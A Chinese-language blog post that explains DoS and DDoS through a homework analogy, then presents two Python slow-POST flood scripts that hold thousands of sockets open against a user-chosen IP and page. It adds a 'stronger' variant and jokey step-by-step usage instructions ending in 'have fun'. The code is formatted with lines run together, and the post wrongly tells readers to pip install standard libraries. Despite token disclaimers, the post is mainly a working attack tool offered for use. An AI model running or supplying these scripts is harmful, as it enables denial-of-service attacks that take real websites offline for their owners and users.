什么是dos和ddos？

也许你直接听可能不知道，但你一定有被作业支配的恐惧
我这里给你看张图片，自己制作：
意思就是这么个意思，老师可以使用大量的作业来让学生崩溃，同时hacker也能用流量让你的网站透支。
ddos是什么：
不只有一个老师吧！
语数英史地生政治。。。
意思就是这么个意思，具体代码如下：

import socket
import time
import threading
# Pressure Test,ddos tool
# ---------------------------
MAX_CONN = 10000    # 最大socket链接量
PORT = 80			
HOST = input('set IP>>>')
PAGE = input('set page>>>')
# ---------------------------buf = ("POST %s HTTP/1.1\r\n""Host: %s\r\n""Content-Length: 10000000\r\n""Cookie: dklkt_dos_test\r\n""\r\n" % (PAGE, HOST))# 创建socket链接列表，存储上20万个socket
socks = []
# 循环创建socket链接
def conn_thread():global socksfor i in range(0, MAX_CONN):s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:s.connect((HOST, PORT))s.send(buf.encode("utf-8"))print("[*]Send OK!")socks.append(s)except Exception as ex:print("[!]Could not connect to server")time.sleep(1)# socket循环对目标网站发数据
def send_thread():global sockswhile True:for s in socks:try:s.send("f".encode("utf-8"))print("[*]send OK!")except Exception as ex:print("[!]Could not connect to server")socks.remove(s)s.close()time.sleep(10)
while True:conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())
#也不是越多越好，量力而行吧！！！！conn_th.start()send_th.start()

这里用到的库自己下载

 1. socket(好像是自带的，没有的下载：pip install socket)2. time(好像也自带。。。。pip install time)3. threading(pip install threading)

基础代码用的 别人的，我又完善了一小下，这个脚本原型全csdn都有，别干坏事，这里还有一个强力版，对自己电脑有信心的。。。

import socket
import time
import threading
# Pressure Test,ddos tool
# ---------------------------
MAX_CONN = 10000    # 最大socket链接量
PORT = 80			
HOST = input('set IP>>>')
PAGE = input('set page>>>')
# ---------------------------buf = ("POST %s HTTP/1.1\r\n""Host: %s\r\n""Content-Length: 10000000\r\n""Cookie: dklkt_dos_test\r\n""\r\n" % (PAGE, HOST))# 创建socket链接列表，存储上20万个socket
socks = []
# 循环创建socket链接
def conn_thread():global socksfor i in range(0, MAX_CONN):s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:s.connect((HOST, PORT))s.send(buf.encode("utf-8"))print("[*]Send OK!")socks.append(s)except Exception as ex:print("[!]Could not connect to server")time.sleep(1)# socket循环对目标网站发数据
def send_thread():global sockswhile True:for s in socks:try:s.send("f".encode("utf-8"))print("[*]send OK!")except Exception as ex:print("[!]Could not connect to server")socks.remove(s)s.close()time.sleep(0.01)
while True:conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())
#也不是越多越好，量力而行吧！！！！conn_th.start()send_th.start()while True:conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())#也不是越多越好，量力而行吧！！！！conn_th.start()send_th.start()

追求力量的再加几个while True:你就爽了，自己没有测试，不希望电脑冒烟，建议叫上别人一起，不要一个人和服务器拼命
加油！！
不要干坏事，没事找事不是我们的作风。
如果发生错误会打印[!]没毛病会有[*]

如何干坏事

第一步：
经过其他人同意，别让打IP变成打官司
千万不要：

没有困难制造困难也得上！

不要没事找事！
第二步：
买个保险，选个医院（如果没做第一步）
不说了，医院wifi不错
第三步：
依次填写ip或域名，具体网页

务必确认输入正确
回车即可（have fun）